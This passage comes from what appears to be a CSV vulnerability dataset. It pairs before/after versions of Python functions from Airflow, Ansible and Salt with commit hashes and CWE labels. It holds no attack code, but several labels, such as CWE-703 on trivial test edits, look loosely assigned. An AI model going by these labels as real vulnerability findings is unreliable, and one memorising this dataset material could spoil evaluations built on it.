        self.translation = DjangoTranslation(locale, domain=domain, localedirs=paths)
        context = self.get_context_data(**kwargs)
        return self.render_to_response(context)"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_grid.py,1,"def test_no_runs(admin_client, dag_without_runs):
    resp = admin_client.get(f'/object/grid_data?dag_id={DAG_ID}', follow_redirects=True)
    assert resp.status_code == 200, resp.json
    assert resp.json == {
        'dag_runs': [],
        'groups': {
            'children': [
                {
                    'extra_links': [],
                    'id': 'task1',
                    'instances': [],
                    'is_mapped': False,
                    'label': 'task1',
                },
                {
                    'children': [
                        {
                            'extra_links': [],
                            'id': 'group.mapped',
                            'instances': [],
                            'is_mapped': True,
                            'label': 'mapped',
                        }
                    ],
                    'id': 'group',
                    'instances': [],
                    'label': 'group',
                    'tooltip': '',
                },
            ],
            'id': None,
            'instances': [],
            'label': None,
        },
    }",CWE-703,apache/airflow,c5774e65e3ca57bae0d594f64440f4ebc0a43b63,"def test_no_runs(admin_client, dag_without_runs):
    resp = admin_client.get(f'/object/grid_data?dag_id={DAG_ID}', follow_redirects=True)
    assert resp.status_code == 200, resp.json
    assert resp.json == {
        'dag_runs': [],
        'groups': {
            'children': [
                {
                    'extra_links': [],
                    'id': 'task1',
                    'instances': [],
                    'is_mapped': False,
                    'label': 'task1',
                },
                {
                    'children': [
                        {
                            'extra_links': [],
                            'id': 'group.mapped',
                            'instances': [],
                            'is_mapped': True,
                            'label': 'mapped',
                        }
                    ],
                    'id': 'group',
                    'instances': [],
                    'label': 'group',
                    'tooltip': '',
                },
            ],
            'id': None,
            'instances': [],
            'label': None,
            'tooltip': '',
        },
    }"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/__init__.py,1,"def _execute_module(self, module_name=None, module_args=None, tmp=None, task_vars=None, persist_files=False, delete_remote_tmp=None, wrap_async=False,
                        ignore_unknown_opts: bool = False):
        '''
        Transfer and run a module along with its arguments.
        '''
        if tmp is not None:
            display.warning('_execute_module no longer honors the tmp parameter. Action plugins'
                            ' should set self._connection._shell.tmpdir to share the tmpdir')
        del tmp  # No longer used
        if delete_remote_tmp is not None:
            display.warning('_execute_module no longer honors the delete_remote_tmp parameter.'
                            ' Action plugins should check self._connection._shell.tmpdir to'
                            ' see if a tmpdir existed before they were called to determine'
                            ' if they are responsible for removing it.')
        del delete_remote_tmp  # No longer used

        tmpdir = self._connection._shell.tmpdir

        # We set the module_style to new here so the remote_tmp is created
        # before the module args are built if remote_tmp is needed (async).
        # If the module_style turns out to not be new and we didn't create the
        # remote tmp here, it will still be created. This must be done before
        # calling self._update_module_args() so the module wrapper has the
        # correct remote_tmp value set
        if not self._is_pipelining_enabled(""new"", wrap_async) and tmpdir is None:
            self._make_tmp_path()
            tmpdir = self._connection._shell.tmpdir

        if task_vars is None:
            task_vars = dict()

        # if a module name was not specified for this execution, use the action from the task
        if module_name is None:
            module_name = self._task.action
        if module_args is None:
            module_args = self._task.args

        self._update_module_args(module_name, module_args, task_vars, ignore_unknown_opts=ignore_unknown_opts)

        remove_async_dir = None
        if wrap_async or self._task.async_val:
            async_dir = self.get_shell_option('async_dir', default=""~/.ansible_async"")
            remove_async_dir = len(self._task.environment)
            self._task.environment.append({""ANSIBLE_ASYNC_DIR"": async_dir})

        # FUTURE: refactor this along with module build process to better encapsulate ""smart wrapper"" functionality
        (module_style, shebang, module_data, module_path) = self._configure_module(module_name=module_name, module_args=module_args, task_vars=task_vars)
        display.vvv(""Using module file %s"" % module_path)
        if not shebang and module_style != 'binary':
            raise AnsibleError(""module (%s) is missing interpreter line"" % module_name)

        self._used_interpreter = shebang
        remote_module_path = None

        if not self._is_pipelining_enabled(module_style, wrap_async):
            # we might need remote tmp dir
            if tmpdir is None:
                self._make_tmp_path()
                tmpdir = self._connection._shell.tmpdir

            remote_module_filename = self._connection._shell.get_remote_filename(module_path)
            remote_module_path = self._connection._shell.join_path(tmpdir, 'AnsiballZ_%s' % remote_module_filename)

        args_file_path = None
        if module_style in ('old', 'non_native_want_json', 'binary'):
            # we'll also need a tmp file to hold our module arguments
            args_file_path = self._connection._shell.join_path(tmpdir, 'args')

        if remote_module_path or module_style != 'new':
            display.debug(""transferring module to remote %s"" % remote_module_path)
            if module_style == 'binary':
                self._transfer_file(module_path, remote_module_path)
            else:
                self._transfer_data(remote_module_path, module_data)
            if module_style == 'old':
                # we need to dump the module args to a k=v string in a file on
                # the remote system, which can be read and parsed by the module
                args_data = """"
                for k, v in module_args.items():
                    args_data += '%s=%s ' % (k, shlex.quote(text_type(v)))
                self._transfer_data(args_file_path, args_data)
            elif module_style in ('non_native_want_json', 'binary'):
                self._transfer_data(args_file_path, json.dumps(module_args))
            display.debug(""done transferring module to remote"")

        environment_string = self._compute_environment_string()

        # remove the ANSIBLE_ASYNC_DIR env entry if we added a temporary one for
        # the async_wrapper task.
        if remove_async_dir is not None:
            del self._task.environment[remove_async_dir]

        remote_files = []
        if tmpdir and remote_module_path:
            remote_files = [tmpdir, remote_module_path]

        if args_file_path:
            remote_files.append(args_file_path)

        sudoable = True
        in_data = None
        cmd = """"

        if wrap_async and not self._connection.always_pipeline_modules:
            # configure, upload, and chmod the async_wrapper module
            (async_module_style, shebang, async_module_data, async_module_path) = self._configure_module(
                module_name='ansible.legacy.async_wrapper', module_args=dict(), task_vars=task_vars)
            async_module_remote_filename = self._connection._shell.get_remote_filename(async_module_path)
            remote_async_module_path = self._connection._shell.join_path(tmpdir, async_module_remote_filename)
            self._transfer_data(remote_async_module_path, async_module_data)
            remote_files.append(remote_async_module_path)

            async_limit = self._task.async_val
            async_jid = f'j{random.randint(0, 999999999999)}'

            # call the interpreter for async_wrapper directly
            # this permits use of a script for an interpreter on non-Linux platforms
            interpreter = shebang.replace('#!', '').strip()
            async_cmd = [interpreter, remote_async_module_path, async_jid, async_limit, remote_module_path]

            if environment_string:
                async_cmd.insert(0, environment_string)

            if args_file_path:
                async_cmd.append(args_file_path)
            else:
                # maintain a fixed number of positional parameters for async_wrapper
                async_cmd.append('_')

            if not self._should_remove_tmp_path(tmpdir):
                async_cmd.append(""-preserve_tmp"")

            cmd = "" "".join(to_text(x) for x in async_cmd)

        else:

            if self._is_pipelining_enabled(module_style):
                in_data = module_data
                display.vvv(""Pipelining is enabled."")
            else:
                cmd = remote_module_path

            cmd = self._connection._shell.build_module_command(environment_string, shebang, cmd, arg_path=args_file_path).strip()

        # Fix permissions of the tmpdir path and tmpdir files. This should be called after all
        # files have been transferred.
        if remote_files:
            # remove none/empty
            remote_files = [x for x in remote_files if x]
            self._fixup_perms2(remote_files, self._get_remote_user())

        # actually execute
        res = self._low_level_execute_command(cmd, sudoable=sudoable, in_data=in_data)

        # parse the main result
        data = self._parse_returned_data(res)

        # NOTE: INTERNAL KEYS ONLY ACCESSIBLE HERE
        # get internal info before cleaning
        if data.pop(""_ansible_suppress_tmpdir_delete"", False):
            self._cleanup_remote_tmp = False

        # NOTE: dnf returns results .. but that made it 'compatible' with squashing, so we allow mappings, for now
        if 'results' in data and (not isinstance(data['results'], Sequence) or isinstance(data['results'], string_types)):
            data['ansible_module_results'] = data['results']
            del data['results']
            display.warning(""Found internal 'results' key in module return, renamed to 'ansible_module_results'."")

        # remove internal keys
        remove_internal_keys(data)

        if wrap_async:
            # async_wrapper will clean up its tmpdir on its own so we want the controller side to
            # forget about it now
            self._connection._shell.tmpdir = None

            # FIXME: for backwards compat, figure out if still makes sense
            data['changed'] = True

        # pre-split stdout/stderr into lines if needed
        if 'stdout' in data and 'stdout_lines' not in data:
            # if the value is 'False', a default won't catch it.
            txt = data.get('stdout', None) or u''
            data['stdout_lines'] = txt.splitlines()
        if 'stderr' in data and 'stderr_lines' not in data:
            # if the value is 'False', a default won't catch it.
            txt = data.get('stderr', None) or u''
            data['stderr_lines'] = txt.splitlines()

        # propagate interpreter discovery results back to the controller
        if self._discovered_interpreter_key:
            if data.get('ansible_facts') is None:
                data['ansible_facts'] = {}

            data['ansible_facts'][self._discovered_interpreter_key] = self._discovered_interpreter

        if self._discovery_warnings:
            if data.get('warnings') is None:
                data['warnings'] = []
            data['warnings'].extend(self._discovery_warnings)

        if self._discovery_deprecation_warnings:
            if data.get('deprecations') is None:
                data['deprecations'] = []
            data['deprecations'].extend(self._discovery_deprecation_warnings)

        # mark the entire module results untrusted as a template right here, since the current action could
        # possibly template one of these values.
        data = wrap_var(data)

        display.debug(""done with _execute_module (%s, %s)"" % (module_name, module_args))
        return data",CWE-330,ansible/ansible,f024cf35d704369454a483495efa24ad95666cb6,"def _execute_module(self, module_name=None, module_args=None, tmp=None, task_vars=None, persist_files=False, delete_remote_tmp=None, wrap_async=False,
                        ignore_unknown_opts: bool = False):
        '''
        Transfer and run a module along with its arguments.
        '''
        if tmp is not None:
            display.warning('_execute_module no longer honors the tmp parameter. Action plugins'
                            ' should set self._connection._shell.tmpdir to share the tmpdir')
        del tmp  # No longer used
        if delete_remote_tmp is not None:
            display.warning('_execute_module no longer honors the delete_remote_tmp parameter.'
                            ' Action plugins should check self._connection._shell.tmpdir to'
                            ' see if a tmpdir existed before they were called to determine'
                            ' if they are responsible for removing it.')
        del delete_remote_tmp  # No longer used

        tmpdir = self._connection._shell.tmpdir

        # We set the module_style to new here so the remote_tmp is created
        # before the module args are built if remote_tmp is needed (async).
        # If the module_style turns out to not be new and we didn't create the
        # remote tmp here, it will still be created. This must be done before
        # calling self._update_module_args() so the module wrapper has the
        # correct remote_tmp value set
        if not self._is_pipelining_enabled(""new"", wrap_async) and tmpdir is None:
            self._make_tmp_path()
            tmpdir = self._connection._shell.tmpdir

        if task_vars is None:
            task_vars = dict()

        # if a module name was not specified for this execution, use the action from the task
        if module_name is None:
            module_name = self._task.action
        if module_args is None:
            module_args = self._task.args

        self._update_module_args(module_name, module_args, task_vars, ignore_unknown_opts=ignore_unknown_opts)

        remove_async_dir = None
        if wrap_async or self._task.async_val:
            async_dir = self.get_shell_option('async_dir', default=""~/.ansible_async"")
            remove_async_dir = len(self._task.environment)
            self._task.environment.append({""ANSIBLE_ASYNC_DIR"": async_dir})

        # FUTURE: refactor this along with module build process to better encapsulate ""smart wrapper"" functionality
        (module_style, shebang, module_data, module_path) = self._configure_module(module_name=module_name, module_args=module_args, task_vars=task_vars)
        display.vvv(""Using module file %s"" % module_path)
        if not shebang and module_style != 'binary':
            raise AnsibleError(""module (%s) is missing interpreter line"" % module_name)

        self._used_interpreter = shebang
        remote_module_path = None

        if not self._is_pipelining_enabled(module_style, wrap_async):
            # we might need remote tmp dir
            if tmpdir is None:
                self._make_tmp_path()
                tmpdir = self._connection._shell.tmpdir

            remote_module_filename = self._connection._shell.get_remote_filename(module_path)
            remote_module_path = self._connection._shell.join_path(tmpdir, 'AnsiballZ_%s' % remote_module_filename)

        args_file_path = None
        if module_style in ('old', 'non_native_want_json', 'binary'):
            # we'll also need a tmp file to hold our module arguments
            args_file_path = self._connection._shell.join_path(tmpdir, 'args')

        if remote_module_path or module_style != 'new':
            display.debug(""transferring module to remote %s"" % remote_module_path)
            if module_style == 'binary':
                self._transfer_file(module_path, remote_module_path)
            else:
                self._transfer_data(remote_module_path, module_data)
            if module_style == 'old':
                # we need to dump the module args to a k=v string in a file on
                # the remote system, which can be read and parsed by the module
                args_data = """"
                for k, v in module_args.items():
                    args_data += '%s=%s ' % (k, shlex.quote(text_type(v)))
                self._transfer_data(args_file_path, args_data)
            elif module_style in ('non_native_want_json', 'binary'):
                self._transfer_data(args_file_path, json.dumps(module_args))
            display.debug(""done transferring module to remote"")

        environment_string = self._compute_environment_string()

        # remove the ANSIBLE_ASYNC_DIR env entry if we added a temporary one for
        # the async_wrapper task.
        if remove_async_dir is not None:
            del self._task.environment[remove_async_dir]

        remote_files = []
        if tmpdir and remote_module_path:
            remote_files = [tmpdir, remote_module_path]

        if args_file_path:
            remote_files.append(args_file_path)

        sudoable = True
        in_data = None
        cmd = """"

        if wrap_async and not self._connection.always_pipeline_modules:
            # configure, upload, and chmod the async_wrapper module
            (async_module_style, shebang, async_module_data, async_module_path) = self._configure_module(
                module_name='ansible.legacy.async_wrapper', module_args=dict(), task_vars=task_vars)
            async_module_remote_filename = self._connection._shell.get_remote_filename(async_module_path)
            remote_async_module_path = self._connection._shell.join_path(tmpdir, async_module_remote_filename)
            self._transfer_data(remote_async_module_path, async_module_data)
            remote_files.append(remote_async_module_path)

            async_limit = self._task.async_val
            async_jid = f'j{random.randint(0, 999999999999)}'

            # call the interpreter for async_wrapper directly
            # this permits use of a script for an interpreter on non-Linux platforms
            interpreter = shebang.replace('#!', '').strip()
            async_cmd = [interpreter, remote_async_module_path, async_jid, async_limit, remote_module_path]

            if environment_string:
                async_cmd.insert(0, environment_string)

            if args_file_path:
                async_cmd.append(args_file_path)
            else:
                # maintain a fixed number of positional parameters for async_wrapper
                async_cmd.append('_')

            if not self._should_remove_tmp_path(tmpdir):
                async_cmd.append(""-preserve_tmp"")

            cmd = "" "".join(to_text(x) for x in async_cmd)

        else:

            if self._is_pipelining_enabled(module_style):
                in_data = module_data
                display.vvv(""Pipelining is enabled."")
            else:
                cmd = remote_module_path

            cmd = self._connection._shell.build_module_command(environment_string, shebang, cmd, arg_path=args_file_path).strip()

        # Fix permissions of the tmpdir path and tmpdir files. This should be called after all
        # files have been transferred.
        if remote_files:
            # remove none/empty
            remote_files = [x for x in remote_files if x]
            self._fixup_perms2(remote_files, self._get_remote_user())

        # actually execute
        res = self._low_level_execute_command(cmd, sudoable=sudoable, in_data=in_data)

        # parse the main result
        data = self._parse_returned_data(res)

        # NOTE: INTERNAL KEYS ONLY ACCESSIBLE HERE
        # get internal info before cleaning
        if data.pop(""_ansible_suppress_tmpdir_delete"", False):
            self._cleanup_remote_tmp = False

        # NOTE: yum returns results .. but that made it 'compatible' with squashing, so we allow mappings, for now
        if 'results' in data and (not isinstance(data['results'], Sequence) or isinstance(data['results'], string_types)):
            data['ansible_module_results'] = data['results']
            del data['results']
            display.warning(""Found internal 'results' key in module return, renamed to 'ansible_module_results'."")

        # remove internal keys
        remove_internal_keys(data)

        if wrap_async:
            # async_wrapper will clean up its tmpdir on its own so we want the controller side to
            # forget about it now
            self._connection._shell.tmpdir = None

            # FIXME: for backwards compat, figure out if still makes sense
            data['changed'] = True

        # pre-split stdout/stderr into lines if needed
        if 'stdout' in data and 'stdout_lines' not in data:
            # if the value is 'False', a default won't catch it.
            txt = data.get('stdout', None) or u''
            data['stdout_lines'] = txt.splitlines()
        if 'stderr' in data and 'stderr_lines' not in data:
            # if the value is 'False', a default won't catch it.
            txt = data.get('stderr', None) or u''
            data['stderr_lines'] = txt.splitlines()

        # propagate interpreter discovery results back to the controller
        if self._discovered_interpreter_key:
            if data.get('ansible_facts') is None:
                data['ansible_facts'] = {}

            data['ansible_facts'][self._discovered_interpreter_key] = self._discovered_interpreter

        if self._discovery_warnings:
            if data.get('warnings') is None:
                data['warnings'] = []
            data['warnings'].extend(self._discovery_warnings)

        if self._discovery_deprecation_warnings:
            if data.get('deprecations') is None:
                data['deprecations'] = []
            data['deprecations'].extend(self._discovery_deprecation_warnings)

        # mark the entire module results untrusted as a template right here, since the current action could
        # possibly template one of these values.
        data = wrap_var(data)

        display.debug(""done with _execute_module (%s, %s)"" % (module_name, module_args))
        return data"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/utils/verify_test.py,0,"def test_valid_id_exception_handler(self):
        '''
        Ensure we just return False if we pass in invalid or undefined paths.
        Refs #8259
        '''
        opts = {'pki_dir': '/tmp/whatever'}
        self.assertFalse(valid_id(opts, None))",,saltstack/salt,0dbf41e79e9d46d382244a9011fc58da1332e5d8,"def test_valid_id_exception_handler(self):
        '''
        Ensure we just return False if we pass in invalid or undefined paths.
        Refs #8259
        '''
        opts = {'pki_dir': '/tmp/whatever'}
        self.assertFalse(valid_id(opts, None))"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/file/test_append.py,1,"def test_issue_1896_file_append_source(file, tmp_path, state_tree):
    """"""
    Verify that we can append a file's contents
    """"""
    testfile = tmp_path / ""test.append""
    testfile.touch()

    firstif_file = pytest.helpers.temp_file(
        ""firstif"", directory=state_tree / ""testappend"", contents=FIRST_IF_CONTENTS
    )
    secondif_file = pytest.helpers.temp_file(
        ""secondif"", directory=state_tree / ""testappend"", contents=SECOND_IF_CONTENTS
    )
    with firstif_file, secondif_file:
        ret = file.append(name=str(testfile), source=""salt://testappend/firstif"")
        assert ret.result is True
        ret = file.append(name=str(testfile), source=""salt://testappend/secondif"")
        assert ret.result is True

        testfile_contents = testfile.read_text()

        assert testfile_contents == FIRST_IF_CONTENTS + SECOND_IF_CONTENTS

        # Run it again
        ret = file.append(name=str(testfile), source=""salt://testappend/firstif"")
        assert ret.result is True
        ret = file.append(name=str(testfile), source=""salt://testappend/secondif"")
        assert ret.result is True

        testfile_contents = testfile.read_text()

        assert testfile_contents == FIRST_IF_CONTENTS + SECOND_IF_CONTENTS",CWE-703,saltstack/salt,1144ca66eaa9e1ad9f54fa5da1f084da7d8b4859,"def test_issue_1896_file_append_source(file, tmp_path, state_tree):
    """"""
    Verify that we can append a file's contents
    """"""
    testfile = tmp_path / ""test.append""
    testfile.touch()

    firstif_file = pytest.helpers.temp_file(
        ""firstif"", directory=state_tree / ""testappend"", contents=FIRST_IF_CONTENTS
    )
    secondif_file = pytest.helpers.temp_file(
        ""secondif"", directory=state_tree / ""testappend"", contents=SECOND_IF_CONTENTS
    )
    with firstif_file, secondif_file:
        ret = file.append(name=str(testfile), source=""salt://testappend/firstif"")
        assert ret.result is True
        ret = file.append(name=str(testfile), source=""salt://testappend/secondif"")
        assert ret.result is True

        testfile_contents = testfile.read_text()

        assert testfile_contents == FIRST_IF_CONTENTS + SECOND_IF_CONTENTS

        # Run it again
        ret = file.append(name=str(testfile), source=""salt://testappend/firstif"")
        assert ret.result is True
        ret = file.append(name=str(testfile), source=""salt://testappend/secondif"")
        assert ret.result is True

        testfile_contents = testfile.read_text()

        assert testfile_contents == FIRST_IF_CONTENTS + SECOND_IF_CONTENTS"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/operators/looker.py,0,"def execute(self, context: ""Context"") -> str:

        self.hook = LookerHook(looker_conn_id=self.looker_conn_id)

        resp = self.hook.start_pdt_build(
            model=self.model,
            view=self.view,
            query_params=self.query_params,
        )

        self.materialization_id = resp.materialization_id

        if not self.materialization_id:
            raise AirflowException(
                f'No `materialization_id` was returned for model: {self.model}, view: {self.view}.'
            )

        self.log.info(""PDT materialization job submitted successfully. Job id: %s."", self.materialization_id)

        if not self.asynchronous:
            self.hook.wait_for_job(
                materialization_id=self.materialization_id,
                wait_time=self.wait_time,
                timeout=self.wait_timeout,
            )

        return self.materialization_id",CWE-Unknown,apache/airflow,37a7b27242fa06e0c805cbc01cf3cfe3557daf8e,"def execute(self, context: ""Context"") -> str:

        self.hook = LookerHook(looker_conn_id=self.looker_conn_id)

        resp = self.hook.start_pdt_build(
            model=self.model,
            view=self.view,
            query_params=self.query_params,
        )

        self.materialization_id = resp.materialization_id

        if self.materialization_id is None:
            raise AirflowException(
                f'No `materialization_id` was returned for model: {self.model}, view: {self.view}.'
            )

        self.log.info(""PDT materialization job submitted successfully. Job id: %s."", self.materialization_id)

        if not self.asynchronous:
            self.hook.wait_for_job(
                materialization_id=self.materialization_id,
                wait_time=self.wait_time,
                timeout=self.wait_timeout,
            )

        return self.materialization_id"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_dag_endpoint.py,1,"def test_should_respond_400_with_not_exists_fields(self, fields):
        self._create_dag_models(1)
        response = self.client.get(
            f""/api/v1/dags/TEST_DAG_1?fields={','.join(fields)}"", environ_overrides={""REMOTE_USER"": ""test""}
        )
        assert response.status_code == 400, f""Current code: {response.status_code}""",CWE-703,apache/airflow,7b608250468740954c6b0af7a5f7f23dfa52b473,"def test_should_respond_400_with_not_exists_fields(self, fields):
        self._create_dag_models(1)
        response = self.client.get(
            f""/api/v1/dags/TEST_DAG_1?fields={','.join(fields)}"", environ_overrides={""REMOTE_USER"": ""test""}
        )
        assert response.status_code == 400, f""Current code: {response.status_code}"""
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/state/requisites/test_watch.py,1,"def test_watch_in_failure(state, state_tree):
    """"""
    test watch_in requisite when there is a failure
    """"""
    sls_contents = """"""
    return_changes:
      test.fail_with_changes:
        - watch_in:
          - test: watch_states

    watch_states:
      test.succeed_without_changes
    """"""
    fail = ""test_|-return_changes_|-return_changes_|-fail_with_changes""
    watch = ""test_|-watch_states_|-watch_states_|-succeed_without_changes""
    with pytest.helpers.temp_file(""requisite.sls"", sls_contents, state_tree):
        ret = state.sls(""requisite"")
        assert ret[fail].result is False
        assert (
            ret[watch].comment
            == ""One or more requisite failed: requisite.return_changes""
        )",CWE-703,saltstack/salt,9d335ba4ec20f89109b71753c0567e716795e755,"def test_watch_in_failure(state, state_tree):
    """"""
    test watch_in requisite when there is a failure
    """"""
    sls_contents = """"""
    return_changes:
      test.fail_with_changes:
        - watch_in:
          - test: watch_states

    watch_states:
      test.succeed_without_changes
    """"""
    fail = ""test_|-return_changes_|-return_changes_|-fail_with_changes""
    watch = ""test_|-watch_states_|-watch_states_|-succeed_without_changes""
    with pytest.helpers.temp_file(""requisite.sls"", sls_contents, state_tree):
        ret = state.sls(""requisite"")
        assert ret[fail].result is False
        assert (
            ret[watch].comment
            == ""One or more requisite failed: requisite.return_changes""
        )"
,UNKNOWN,UNKNOWN,airflow/migrations/versions/0093_2_2_0_taskinstance_keyed_to_dagrun.py,1,"def upgrade():
    """"""Apply Change ``TaskInstance`` and ``TaskReschedule`` tables from execution_date to run_id.""""""
    conn = op.get_bind()
    dialect_name = conn.dialect.name

    dt_type = TIMESTAMP
    string_id_col_type = StringID()

    if dialect_name == ""sqlite"":
        naming_convention = {
            ""uq"": ""%(table_name)s_%(column_0_N_name)s_key"",
        }
        # The naming_convention force the previously un-named UNIQUE constraints to have the right name
        with op.batch_alter_table(
            ""dag_run"", naming_convention=naming_convention, recreate=""always""
        ) as batch_op:
            batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
            batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)
            batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
    elif dialect_name == ""mysql"":
        with op.batch_alter_table(""dag_run"") as batch_op:
            batch_op.alter_column(
                ""dag_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
            )
            batch_op.alter_column(
                ""run_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
            )
            batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
            inspector = sa.inspect(conn.engine)
            unique_keys = inspector.get_unique_constraints(""dag_run"")
            for unique_key in unique_keys:
                batch_op.drop_constraint(unique_key[""name""], type_=""unique"")
            batch_op.create_unique_constraint(
                ""dag_run_dag_id_execution_date_key"", [""dag_id"", ""execution_date""]
            )
            batch_op.create_unique_constraint(""dag_run_dag_id_run_id_key"", [""dag_id"", ""run_id""])
    elif dialect_name == ""mssql"":

        with op.batch_alter_table(""dag_run"") as batch_op:
            batch_op.drop_index(""idx_not_null_dag_id_execution_date"")
            batch_op.drop_index(""idx_not_null_dag_id_run_id"")

            batch_op.drop_index(""dag_id_state"")
            batch_op.drop_index(""idx_dag_run_dag_id"")
            batch_op.drop_index(""idx_dag_run_running_dags"")
            batch_op.drop_index(""idx_dag_run_queued_dags"")

            batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
            batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
            batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)

            # _Somehow_ mssql was missing these constraints entirely
            batch_op.create_unique_constraint(
                ""dag_run_dag_id_execution_date_key"", [""dag_id"", ""execution_date""]
            )
            batch_op.create_unique_constraint(""dag_run_dag_id_run_id_key"", [""dag_id"", ""run_id""])

            batch_op.create_index(""dag_id_state"", [""dag_id"", ""state""], unique=False)
            batch_op.create_index(""idx_dag_run_dag_id"", [""dag_id""])
            batch_op.create_index(
                ""idx_dag_run_running_dags"",
                [""state"", ""dag_id""],
                mssql_where=sa.text(""state='running'""),
            )
            batch_op.create_index(
                ""idx_dag_run_queued_dags"",
                [""state"", ""dag_id""],
                mssql_where=sa.text(""state='queued'""),
            )
    else:
        # Make sure DagRun PK columns are non-nullable
        with op.batch_alter_table(""dag_run"", schema=None) as batch_op:
            batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
            batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
            batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)

    # First create column nullable
    op.add_column(""task_instance"", sa.Column(""run_id"", type_=string_id_col_type, nullable=True))
    op.add_column(""task_reschedule"", sa.Column(""run_id"", type_=string_id_col_type, nullable=True))

    #
    # TaskReschedule has a FK to TaskInstance, so we have to update that before
    # we can drop the TI.execution_date column

    update_query = _multi_table_update(dialect_name, task_reschedule, task_reschedule.c.run_id)
    op.execute(update_query)

    with op.batch_alter_table(""task_reschedule"", schema=None) as batch_op:
        batch_op.alter_column(
            ""run_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
        )

        batch_op.drop_constraint(""task_reschedule_dag_task_date_fkey"", type_=""foreignkey"")
        if dialect_name == ""mysql"":
            # Mysql creates an index and a constraint -- we have to drop both
            batch_op.drop_index(""task_reschedule_dag_task_date_fkey"")
            batch_op.alter_column(
                ""dag_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
            )
        batch_op.drop_index(""idx_task_reschedule_dag_task_date"")

    # Then update the new column by selecting the right value from DagRun
    # But first we will drop and recreate indexes to make it faster
    if dialect_name == ""postgresql"":
        # Recreate task_instance, without execution_date and with dagrun.run_id
        op.execute(
            """"""
            CREATE TABLE new_task_instance AS SELECT
                ti.task_id,
                ti.dag_id,
                dag_run.run_id,
                ti.start_date,
                ti.end_date,
                ti.duration,
                ti.state,
                ti.try_number,
                ti.hostname,
                ti.unixname,
                ti.job_id,
                ti.pool,
                ti.queue,
                ti.priority_weight,
                ti.operator,
                ti.queued_dttm,
                ti.pid,
                ti.max_tries,
                ti.executor_config,
                ti.pool_slots,
                ti.queued_by_job_id,
                ti.external_executor_id,
                ti.trigger_id,
                ti.trigger_timeout,
                ti.next_method,
                ti.next_kwargs
            FROM task_instance ti
            INNER JOIN dag_run ON dag_run.dag_id = ti.dag_id AND dag_run.execution_date = ti.execution_date;
        """"""
        )
        op.drop_table(""task_instance"")
        op.rename_table(""new_task_instance"", ""task_instance"")

        # Fix up columns after the 'create table as select'
        with op.batch_alter_table(""task_instance"", schema=None) as batch_op:
            batch_op.alter_column(
                ""pool"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
            )
            batch_op.alter_column(""max_tries"", existing_type=sa.Integer(), server_default=""-1"")
            batch_op.alter_column(
                ""pool_slots"", existing_type=sa.Integer(), existing_nullable=True, nullable=False
            )
    else:
        update_query = _multi_table_update(dialect_name, task_instance, task_instance.c.run_id)
        op.execute(update_query)

    with op.batch_alter_table(""task_instance"", schema=None) as batch_op:
        if dialect_name != ""postgresql"":
            # TODO: Is this right for non-postgres?
            if dialect_name == ""mssql"":
                constraints = get_mssql_table_constraints(conn, ""task_instance"")
                pk, _ = constraints[""PRIMARY KEY""].popitem()
                batch_op.drop_constraint(pk, type_=""primary"")
            elif dialect_name not in (""sqlite""):
                batch_op.drop_constraint(""task_instance_pkey"", type_=""primary"")
            batch_op.drop_index(""ti_dag_date"")
            batch_op.drop_index(""ti_state_lkp"")
            batch_op.drop_column(""execution_date"")

        # Then make it non-nullable
        batch_op.alter_column(
            ""run_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
        )
        batch_op.alter_column(
            ""dag_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
        )

        batch_op.create_primary_key(""task_instance_pkey"", [""dag_id"", ""task_id"", ""run_id""])
        batch_op.create_foreign_key(
            ""task_instance_dag_run_fkey"",
            ""dag_run"",
            [""dag_id"", ""run_id""],
            [""dag_id"", ""run_id""],
            ondelete=""CASCADE"",
        )

        batch_op.create_index(""ti_dag_run"", [""dag_id"", ""run_id""])
        batch_op.create_index(""ti_state_lkp"", [""dag_id"", ""task_id"", ""run_id"", ""state""])
        if dialect_name == ""postgresql"":
            batch_op.create_index(""ti_dag_state"", [""dag_id"", ""state""])
            batch_op.create_index(""ti_job_id"", [""job_id""])
            batch_op.create_index(""ti_pool"", [""pool"", ""state"", ""priority_weight""])
            batch_op.create_index(""ti_state"", [""state""])
            batch_op.create_foreign_key(
                ""task_instance_trigger_id_fkey"", ""trigger"", [""trigger_id""], [""id""], ondelete=""CASCADE""
            )
            batch_op.create_index(""ti_trigger_id"", [""trigger_id""])

    with op.batch_alter_table(""task_reschedule"", schema=None) as batch_op:
        batch_op.drop_column(""execution_date"")
        batch_op.create_index(
            ""idx_task_reschedule_dag_task_run"",
            [""dag_id"", ""task_id"", ""run_id""],
            unique=False,
        )
        # _Now_ there is a unique constraint on the columns in TI we can re-create the FK from TaskReschedule
        batch_op.create_foreign_key(
            ""task_reschedule_ti_fkey"",
            ""task_instance"",
            [""dag_id"", ""task_id"", ""run_id""],
            [""dag_id"", ""task_id"", ""run_id""],
            ondelete=""CASCADE"",
        )

        # https://docs.microsoft.com/en-us/sql/relational-databases/errors-events/mssqlserver-1785-database-engine-error?view=sql-server-ver15
        ondelete = ""CASCADE"" if dialect_name != ""mssql"" else ""NO ACTION""
        batch_op.create_foreign_key(
            ""task_reschedule_dr_fkey"",
            ""dag_run"",
            [""dag_id"", ""run_id""],
            [""dag_id"", ""run_id""],
